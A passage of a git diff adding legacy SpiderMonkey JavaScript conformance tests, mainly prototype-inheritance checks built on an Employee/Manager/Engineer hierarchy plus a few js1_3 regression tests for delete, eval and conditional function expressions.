+new TestCase( SECTION,
+ "jim = new Employee(); jim.name",
+ "",
+ jim.name );
+
+
+new TestCase( SECTION,
+ "jim = new Employee(); jim.dept",
+ "general",
+ jim.dept );
+
+var sally = new Manager();
+
+new TestCase( SECTION,
+ "sally = new Manager(); sally.name",
+ "",
+ sally.name );
+new TestCase( SECTION,
+ "sally = new Manager(); sally.dept",
+ "general",
+ sally.dept );
+
+new TestCase( SECTION,
+ "sally = new Manager(); sally.reports.length",
+ 0,
+ sally.reports.length );
+
+new TestCase( SECTION,
+ "sally = new Manager(); typeof sally.reports",
+ "object",
+ typeof sally.reports );
+
+var fred = new SalesPerson();
+
+new TestCase( SECTION,
+ "fred = new SalesPerson(); fred.name",
+ "",
+ fred.name );
+
+new TestCase( SECTION,
+ "fred = new SalesPerson(); fred.dept",
+ "sales",
+ fred.dept );
+
+new TestCase( SECTION,
+ "fred = new SalesPerson(); fred.quota",
+ 100,
+ fred.quota );
+
+new TestCase( SECTION,
+ "fred = new SalesPerson(); fred.projects.length",
+ 0,
+ fred.projects.length );
+
+var jane = new Engineer();
+
+new TestCase( SECTION,
+ "jane = new Engineer(); jane.name",
+ "",
+ jane.name );
+
+new TestCase( SECTION,
+ "jane = new Engineer(); jane.dept",
+ "engineering",
+ jane.dept );
+
+new TestCase( SECTION,
+ "jane = new Engineer(); jane.projects.length",
+ 0,
+ jane.projects.length );
+
+new TestCase( SECTION,
+ "jane = new Engineer(); jane.machine",
+ "",
+ jane.machine );
+
+
+test();
diff --git a/js/src/tests/js1_3/inherit/proto_10.js b/js/src/tests/js1_3/inherit/proto_10.js
new file mode 100644
index 000000000..4a671f9c8
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_10.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_10.js
+ Section:
+ Description: Determining Instance Relationships
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_10";
+var VERSION = "JS1_3";
+var TITLE = "Determining Instance Relationships";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function InstanceOf( object, constructor ) {
+ return object instanceof constructor;
+}
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+}
+
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee ( name, dept, projs ) {
+ this.base = Employee;
+ this.base( name, dept)
+ this.projects = projs || new Array();
+}
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Engineer ( name, projs, machine ) {
+ this.base = WorkerBee;
+ this.base( name, "engineering", projs )
+ this.machine = machine || "";
+}
+Engineer.prototype = new WorkerBee();
+
+var pat = new Engineer();
+
+new TestCase( SECTION,
+ "InstanceOf( pat, Engineer )",
+ true,
+ InstanceOf( pat, Engineer ) );
+
+new TestCase( SECTION,
+ "InstanceOf( pat, WorkerBee )",
+ true,
+ InstanceOf( pat, WorkerBee ) );
+
+new TestCase( SECTION,
+ "InstanceOf( pat, Employee )",
+ true,
+ InstanceOf( pat, Employee ) );
+
+new TestCase( SECTION,
+ "InstanceOf( pat, Object )",
+ true,
+ InstanceOf( pat, Object ) );
+
+new TestCase( SECTION,
+ "InstanceOf( pat, SalesPerson )",
+ false,
+ InstanceOf ( pat, SalesPerson ) );
+test();
diff --git a/js/src/tests/js1_3/inherit/proto_11.js b/js/src/tests/js1_3/inherit/proto_11.js
new file mode 100644
index 000000000..02ea4b474
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_11.js
@@ -0,0 +1,86 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_11.js
+ Section:
+ Description: Global Information in Constructors
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_11";
+var VERSION = "JS1_3";
+var TITLE = "Global Information in Constructors";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var idCounter = 1;
+
+
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+ this.id = idCounter++;
+}
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee ( name, dept, projs ) {
+ this.base = Employee;
+ this.base( name, dept)
+ this.projects = projs || new Array();
+}
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Engineer ( name, projs, machine ) {
+ this.base = WorkerBee;
+ this.base( name, "engineering", projs )
+ this.machine = machine || "";
+}
+Engineer.prototype = new WorkerBee();
+
+var pat = new Employee( "Toonces, Pat", "Tech Pubs" )
+ var terry = new Employee( "O'Sherry Terry", "Marketing" );
+
+var les = new Engineer( "Morris, Les", new Array("JavaScript"), "indy" );
+
+new TestCase( SECTION,
+ "pat.id",
+ 5,
+ pat.id );
+
+new TestCase( SECTION,
+ "terry.id",
+ 6,
+ terry.id );
+
+new TestCase( SECTION,
+ "les.id",
+ 7,
+ les.id );
+
+
+test();
+
diff --git a/js/src/tests/js1_3/inherit/proto_12.js b/js/src/tests/js1_3/inherit/proto_12.js
new file mode 100644
index 000000000..c223bb3fa
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_12.js
@@ -0,0 +1,112 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_12.js
+ Section:
+ Description: new PrototypeObject
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ No Multiple Inheritance
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_12";
+var VERSION = "JS1_3";
+var TITLE = "No Multiple Inheritance";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+ this.id = idCounter++;
+}
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee ( name, dept, projs ) {
+ this.base = Employee;
+ this.base( name, dept)
+ this.projects = projs || new Array();
+}
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Hobbyist( hobby ) {
+ this.hobby = hobby || "yodeling";
+}
+
+function Engineer ( name, projs, machine, hobby ) {
+ this.base1 = WorkerBee;
+ this.base1( name, "engineering", projs )
+
+ this.base2 = Hobbyist;
+ this.base2( hobby );
+
+ this.projects = projs || new Array();
+ this.machine = machine || "";
+}
+Engineer.prototype = new WorkerBee();
+
+var idCounter = 1;
+
+var les = new Engineer( "Morris, Les", new Array("JavaScript"), "indy" );
+
+Hobbyist.prototype.equipment = [ "horn", "mountain", "goat" ];
+
+new TestCase( SECTION,
+ "les.name",
+ "Morris, Les",
+ les.name );
+
+new TestCase( SECTION,
+ "les.dept",
+ "engineering",
+ les.dept );
+
+Array.prototype.getClass = Object.prototype.toString;
+
+new TestCase( SECTION,
+ "les.projects.getClass()",
+ "[object Array]",
+ les.projects.getClass() );
+
+new TestCase( SECTION,
+ "les.projects[0]",
+ "JavaScript",
+ les.projects[0] );
+
+new TestCase( SECTION,
+ "les.machine",
+ "indy",
+ les.machine );
+
+new TestCase( SECTION,
+ "les.hobby",
+ "yodeling",
+ les.hobby );
+
+new TestCase( SECTION,
+ "les.equpment",
+ void 0,
+ les.equipment );
+
+test();
diff --git a/js/src/tests/js1_3/inherit/proto_3.js b/js/src/tests/js1_3/inherit/proto_3.js
new file mode 100644
index 000000000..0e9183bfb
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_3.js
@@ -0,0 +1,73 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_3.js
+ Section:
+ Description: Adding properties to an instance
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_3";
+var VERSION = "JS1_3";
+var TITLE = "Adding properties to an Instance";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee () {
+ this.name = "";
+ this.dept = "general";
+}
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee () {
+ this.projects = new Array();
+}
+
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Engineer () {
+ this.dept = "engineering";
+ this.machine = "";
+}
+Engineer.prototype = new WorkerBee();
+
+var jim = new Employee();
+var pat = new Employee();
+
+jim.bonus = 300;
+
+new TestCase( SECTION,
+ "jim = new Employee(); jim.bonus = 300; jim.bonus",
+ 300,
+ jim.bonus );
+
+
+new TestCase( SECTION,
+ "pat = new Employee(); pat.bonus",
+ void 0,
+ pat.bonus );
+test();
diff --git a/js/src/tests/js1_3/inherit/proto_4.js b/js/src/tests/js1_3/inherit/proto_4.js
new file mode 100644
index 000000000..9fe1fe0bb
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_4.js
@@ -0,0 +1,125 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_4.js
+ Section:
+ Description: new PrototypeObject
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ If you add a property to an object in the prototype chain, instances of
+ objects that derive from that prototype should inherit that property, even
+ if they were instatiated after the property was added to the prototype object.
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_3";
+var VERSION = "JS1_3";
+var TITLE = "Adding properties to the prototype";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee () {
+ this.name = "";
+ this.dept = "general";
+}
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee () {
+ this.projects = new Array();
+}
+
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Engineer () {
+ this.dept = "engineering";
+ this.machine = "";
+}
+Engineer.prototype = new WorkerBee();
+
+var jim = new Employee();
+var terry = new Engineer();
+var sean = new SalesPerson();
+var wally = new Manager();
+
+Employee.prototype.specialty = "none";
+
+var pat = new Employee();
+var leslie = new Engineer();
+var bubbles = new SalesPerson();
+var furry = new Manager();
+
+Engineer.prototype.specialty = "code";
+
+var chris = new Engineer();
+
+
+new TestCase( SECTION,
+ "jim = new Employee(); jim.specialty",
+ "none",
+ jim.specialty );
+
+new TestCase( SECTION,
+ "terry = new Engineer(); terry.specialty",
+ "code",
+ terry.specialty );
+
+new TestCase( SECTION,
+ "sean = new SalesPerson(); sean.specialty",
+ "none",
+ sean.specialty );
+
+new TestCase( SECTION,
+ "wally = new Manager(); wally.specialty",
+ "none",
+ wally.specialty );
+
+new TestCase( SECTION,
+ "furry = new Manager(); furry.specialty",
+ "none",
+ furry.specialty );
+
+new TestCase( SECTION,
+ "pat = new Employee(); pat.specialty",
+ "none",
+ pat.specialty );
+
+new TestCase( SECTION,
+ "leslie = new Engineer(); leslie.specialty",
+ "code",
+ leslie.specialty );
+
+new TestCase( SECTION,
+ "bubbles = new SalesPerson(); bubbles.specialty",
+ "none",
+ bubbles.specialty );
+
+
+new TestCase( SECTION,
+ "chris = new Employee(); chris.specialty",
+ "code",
+ chris.specialty );
+test();
diff --git a/js/src/tests/js1_3/inherit/proto_6.js b/js/src/tests/js1_3/inherit/proto_6.js
new file mode 100644
index 000000000..3ffc0b43e
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_6.js
@@ -0,0 +1,140 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_6.js
+ Section:
+ Description: Logical OR || in constructors
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ This tests the logical OR opererator || syntax in constructors.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_6";
+var VERSION = "JS1_3";
+var TITLE = "Logical OR || in constructors";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+}
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee ( name, dept, projs ) {
+ this.base = Employee;
+ this.base( name, dept)
+ this.projects = projs || new Array();
+}
+
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Engineer ( name, projs, machine ) {
+ this.base = WorkerBee;
+ this.base( name, "engineering", projs )
+ this.machine = machine || "";
+}
+Engineer.prototype = new WorkerBee();
+
+var pat = new Engineer( "Toonces, Pat",
+ ["SpiderMonkey", "Rhino"],
+ "indy" );
+
+var les = new WorkerBee( "Morris, Les",
+ "Training",
+ ["Hippo"] )
+
+ var terry = new Employee( "Boomberi, Terry",
+ "Marketing" );
+
+// Pat, the Engineer
+
+new TestCase( SECTION,
+ "pat.name",
+ "Toonces, Pat",
+ pat.name );
+
+new TestCase( SECTION,
+ "pat.dept",
+ "engineering",
+ pat.dept );
+
+new TestCase( SECTION,
+ "pat.projects.length",
+ 2,
+ pat.projects.length );
+
+new TestCase( SECTION,
+ "pat.projects[0]",
+ "SpiderMonkey",
+ pat.projects[0] );
+
+new TestCase( SECTION,
+ "pat.projects[1]",
+ "Rhino",
+ pat.projects[1] );
+
+new TestCase( SECTION,
+ "pat.machine",
+ "indy",
+ pat.machine );
+
+
+// Les, the WorkerBee
+
+new TestCase( SECTION,
+ "les.name",
+ "Morris, Les",
+ les.name );
+
+new TestCase( SECTION,
+ "les.dept",
+ "Training",
+ les.dept );
+
+new TestCase( SECTION,
+ "les.projects.length",
+ 1,
+ les.projects.length );
+
+new TestCase( SECTION,
+ "les.projects[0]",
+ "Hippo",
+ les.projects[0] );
+
+// Terry, the Employee
+new TestCase( SECTION,
+ "terry.name",
+ "Boomberi, Terry",
+ terry.name );
+
+new TestCase( SECTION,
+ "terry.dept",
+ "Marketing",
+ terry.dept );
+test();
+
diff --git a/js/src/tests/js1_3/inherit/proto_7.js b/js/src/tests/js1_3/inherit/proto_7.js
new file mode 100644
index 000000000..fa52daa56
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_7.js
@@ -0,0 +1,95 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_7.js
+ Section:
+ Description: Adding Properties to the Prototype Object
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ This tests
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_6";
+var VERSION = "JS1_3";
+var TITLE = "Adding properties to the Prototype Object";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+}
+function WorkerBee ( name, dept, projs ) {
+ this.base = Employee;
+ this.base( name, dept)
+ this.projects = projs || new Array();
+}
+WorkerBee.prototype = new Employee();
+
+function Engineer ( name, projs, machine ) {
+ this.base = WorkerBee;
+ this.base( name, "engineering", projs )
+ this.machine = machine || "";
+}
+// Engineer.prototype = new WorkerBee();
+
+var pat = new Engineer( "Toonces, Pat",
+ ["SpiderMonkey", "Rhino"],
+ "indy" );
+
+Employee.prototype.specialty = "none";
+
+
+// Pat, the Engineer
+
+new TestCase( SECTION,
+ "pat.name",
+ "Toonces, Pat",
+ pat.name );
+
+new TestCase( SECTION,
+ "pat.dept",
+ "engineering",
+ pat.dept );
+
+new TestCase( SECTION,
+ "pat.projects.length",
+ 2,
+ pat.projects.length );
+
+new TestCase( SECTION,
+ "pat.projects[0]",
+ "SpiderMonkey",
+ pat.projects[0] );
+
+new TestCase( SECTION,
+ "pat.projects[1]",
+ "Rhino",
+ pat.projects[1] );
+
+new TestCase( SECTION,
+ "pat.machine",
+ "indy",
+ pat.machine );
+
+new TestCase( SECTION,
+ "pat.specialty",
+ void 0,
+ pat.specialty );
+
+test();
diff --git a/js/src/tests/js1_3/inherit/proto_8.js b/js/src/tests/js1_3/inherit/proto_8.js
new file mode 100644
index 000000000..98e6a4738
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_8.js
@@ -0,0 +1,93 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_8.js
+ Section:
+ Description: Adding Properties to the Prototype Object
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_8";
+var VERSION = "JS1_3";
+var TITLE = "Adding Properties to the Prototype Object";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+}
+function WorkerBee ( name, dept, projs ) {
+ this.base = Employee;
+ this.base( name, dept)
+ this.projects = projs || new Array();
+}
+WorkerBee.prototype = new Employee();
+
+function Engineer ( name, projs, machine ) {
+ this.base = WorkerBee;
+ this.base( name, "engineering", projs )
+ this.machine = machine || "";
+}
+Engineer.prototype = new WorkerBee();
+
+var pat = new Engineer( "Toonces, Pat",
+ ["SpiderMonkey", "Rhino"],
+ "indy" );
+
+Employee.prototype.specialty = "none";
+
+
+// Pat, the Engineer
+
+new TestCase( SECTION,
+ "pat.name",
+ "Toonces, Pat",
+ pat.name );
+
+new TestCase( SECTION,
+ "pat.dept",
+ "engineering",
+ pat.dept );
+
+new TestCase( SECTION,
+ "pat.projects.length",
+ 2,
+ pat.projects.length );
+
+new TestCase( SECTION,
+ "pat.projects[0]",
+ "SpiderMonkey",
+ pat.projects[0] );
+
+new TestCase( SECTION,
+ "pat.projects[1]",
+ "Rhino",
+ pat.projects[1] );
+
+new TestCase( SECTION,
+ "pat.machine",
+ "indy",
+ pat.machine );
+
+new TestCase( SECTION,
+ "pat.specialty",
+ "none",
+ pat.specialty );
+
+test();
diff --git a/js/src/tests/js1_3/inherit/proto_9.js b/js/src/tests/js1_3/inherit/proto_9.js
new file mode 100644
index 000000000..d789afc67
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_9.js
@@ -0,0 +1,71 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_9.js
+ Section:
+ Description: Local versus Inherited Values
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ This tests
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_9";
+var VERSION = "JS1_3";
+var TITLE = "Local versus Inherited Values";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+}
+function WorkerBee ( name, dept, projs ) {
+ this.projects = new Array();
+}
+WorkerBee.prototype = new Employee();
+
+var pat = new WorkerBee()
+
+ Employee.prototype.specialty = "none";
+Employee.prototype.name = "Unknown";
+
+Array.prototype.getClass = Object.prototype.toString;
+
+// Pat, the WorkerBee
+
+new TestCase( SECTION,
+ "pat.name",
+ "",
+ pat.name );
+
+new TestCase( SECTION,
+ "pat.dept",
+ "general",
+ pat.dept );
+
+new TestCase( SECTION,
+ "pat.projects.getClass",
+ "[object Array]",
+ pat.projects.getClass() );
+
+new TestCase( SECTION,
+ "pat.projects.length",
+ 0,
+ pat.projects.length );
+
+test();
diff --git a/js/src/tests/js1_3/inherit/shell.js b/js/src/tests/js1_3/inherit/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/shell.js
diff --git a/js/src/tests/js1_3/misc/browser.js b/js/src/tests/js1_3/misc/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/misc/browser.js
diff --git a/js/src/tests/js1_3/misc/shell.js b/js/src/tests/js1_3/misc/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/misc/shell.js
diff --git a/js/src/tests/js1_3/regress/browser.js b/js/src/tests/js1_3/regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/regress/browser.js
diff --git a/js/src/tests/js1_3/regress/delete-001.js b/js/src/tests/js1_3/regress/delete-001.js
new file mode 100644
index 000000000..757204ec1
--- /dev/null
+++ b/js/src/tests/js1_3/regress/delete-001.js
@@ -0,0 +1,49 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: delete-001.js
+ Section: regress
+ Description:
+
+ Regression test for
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=108736
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "JS1_2";
+var VERSION = "JS1_2";
+var TITLE = "The variable statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// delete all properties of the global object
+// per ecma, this does not affect variables in the global object declared
+// with var or functions
+
+for ( p in this ) {
+ delete p;
+}
+
+var result ="";
+
+for ( p in this ) {
+ result += String( p );
+}
+
+// not too picky here... just want to make sure we didn't crash or something
+
+new TestCase( SECTION,
+ "delete all properties of the global object",
+ "PASSED",
+ result == "" ? "FAILED" : "PASSED" );
+
+
+test();
+
diff --git a/js/src/tests/js1_3/regress/function-001-n.js b/js/src/tests/js1_3/regress/function-001-n.js
new file mode 100644
index 000000000..7d3726d0c
--- /dev/null
+++ b/js/src/tests/js1_3/regress/function-001-n.js
@@ -0,0 +1,45 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: boolean-001.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=99232
+ *
+ * eval("function f(){}function g(){}") at top level is an error for JS1.2
+ * and above (missing ; between named function expressions), but declares f
+ * and g as functions below 1.2.
+ *
+ * Fails to produce error regardless of version:
+ * js> version(100)
+ * 120
+ * js> eval("function f(){}function g(){}")
+ * js> version(120);
+ * 100
+ * js> eval("function f(){}function g(){}")
+ * js>
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "function-001.js";
+var VERSION = "JS_1.3";
+var TITLE = "functions not separated by semicolons are errors in version 120 and higher";
+var BUGNUMBER="10278";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ SECTION,
+ "eval(\"function f(){}function g(){}\")",
+ "error",
+ eval("function f(){}function g(){}") );
+
+test();
+
+
diff --git a/js/src/tests/js1_3/regress/function-002.js b/js/src/tests/js1_3/regress/function-002.js
new file mode 100644
index 000000000..144e2e4b0
--- /dev/null
+++ b/js/src/tests/js1_3/regress/function-002.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: function-002.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=249579
+
+ function definitions in conditional statements should be allowed.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "function-002";
+var VERSION = "JS1_3";
+var TITLE = "Regression test for 249579";
+var BUGNUMBER="249579";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ SECTION,
+ "0?function(){}:0",
+ 0,
+ 0?function(){}:0 );
+
+
+bar = true;
+foo = bar ? function () { return true; } : function() { return false; };
+
+new TestCase(
+ SECTION,
+ "bar = true; foo = bar ? function () { return true; } : function() { return false; }; foo()",
+ true,
+ foo() );
+
+
+test();
+
diff --git a/js/src/tests/js1_3/regress/in-001.js b/js/src/tests/js1_3/regress/in-001.js
new file mode 100644
index 000000000..99f57ae26
--- /dev/null
+++ b/js/src/tests/js1_3/regress/in-001.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: in-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=196109
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "in-001";
+var VERSION = "JS1_3";
+var TITLE = "Regression test for 196109";
+var BUGNUMBER="196109";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+o = {};
